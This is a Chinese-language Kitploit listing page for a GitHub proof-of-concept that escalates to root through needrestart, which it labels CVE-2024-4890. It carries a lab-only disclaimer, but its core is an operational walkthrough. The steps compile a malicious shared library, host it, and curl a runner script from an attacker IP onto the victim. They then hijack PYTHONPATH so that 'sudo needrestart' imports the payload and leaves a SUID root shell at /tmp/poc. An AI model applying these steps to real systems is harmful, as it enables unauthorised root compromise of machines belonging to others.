Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
needrestart-sudo-escalate-cve-2024-4890 — 针对 CVE-2024-4890 的 PoC 漏洞利用:通过 neecdrestart (>=3.8) 实现 Sudo 权限提升。仅供道德实验室使用。脚本使用 Python 和 C 编写。 | Kitploit
工具/GitHubGitHub/nekr0ff/needrestart-sudo-escalate-cve-2024-4890
权限提升漏洞分析漏洞利用学习与教育二进制利用实验室与实践
GitHubnekr0ff/needrestart-sudo-escalate-cve-2024-4890

needrestart-sudo-escalate-cve-2024-4890

针对 CVE-2024-4890 的 PoC 漏洞利用:通过 neecdrestart (>=3.8) 实现 Sudo 权限提升。仅供道德实验室使用。脚本使用 Python 和 C 编写。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
1110个月前尚未审核

CVE-2024-4890:needrestart Sudo 权限提升 PoC

CVE-2024-4890 License: MIT

免责声明

仅限实验室控制环境使用。未经明确授权,不得在生产系统上利用。此 PoC 仅用于教育目的。作者不对任何误用或未经授权的访问负责。

概述

CVE-2024-4890 是 needrestart(版本 >= 3.8)中的一个严重漏洞,可导致以提升的权限执行任意代码。该问题源于进程扫描期间对环境变量和配置文件的不安全处理。

具体来说,当通过 sudo 运行时,needrestart 会检查正在运行的 Python 进程,包括它们的 PYTHONPATH 环境变量。攻击者可以通过设置自定义的 PYTHONPATH 指向受控目录(例如 /tmp/attacker)来劫持该变量。在该目录中,一个恶意模块(__init__.so)被放置在伪造的 importlib 结构中。当 needrestart 尝试以 root 身份导入它(以检查库)时,载荷执行,从而授予 root 访问权限。

此 PoC 通过诱饵 Python 进程、恶意共享库(由 C 编译)和自动化脚本演示该漏洞利用。

前提条件

  • 目标:装有 needrestart >= 3.8 且具有 sudo 访问权限的 Linux 系统。
  • 工具:gcc(用于编译)、curl、python3。

文件结构

将这些文件放在目标机器上的 /tmp/attacker 中。

  • e.py:诱饵 Python 脚本(循环运行,等待载荷成功)。
  • runner.sh:自动化脚本,用于设置并触发诱饵。

漏洞利用步骤

  1. 攻击者机器:将 lib.c 编译为 __init__.so 并托管它:

gcc -shared -fPIC -o init.so lib.c

python3 -m http.server 8000

目标机器(受害者):

  • 创建 /tmp/attacker 目录。
  • 复制 main.py
  • 下载并使 runner.sh 可执行:
curl http://<ATTACKER_IP>:<PORT>/runner.sh -o /tmp/attacker/runner.sh
chmod +x /tmp/attacker/runner.sh

在一个终端中运行设置: cd /tmp/attacker && ./runner.sh

这将创建恶意模块、诱饵脚本,并启动被劫持的 Python 进程。

  1. 触发扫描(在新的 SSH 会话中): sudo /usr/sbin/needrestart

needrestart 检测到诱饵进程,读取 PYTHONPATH,并以 root 身份导入恶意的 __init__.so——从而执行载荷。

  1. 获取访问权限(回到 runner.sh 终端):
  • 脚本检测到 /tmp/poc(由载荷创建的 SUID root shell)并生成一个 root shell: sudo /tmp/poc -p 清理:rm -rf /tmp/attacker /tmp/poc(如果添加了 sudoers 条目,也请移除)。

成功标志:whoami 显示 root,或 id 显示 uid=0(root)。

下载工具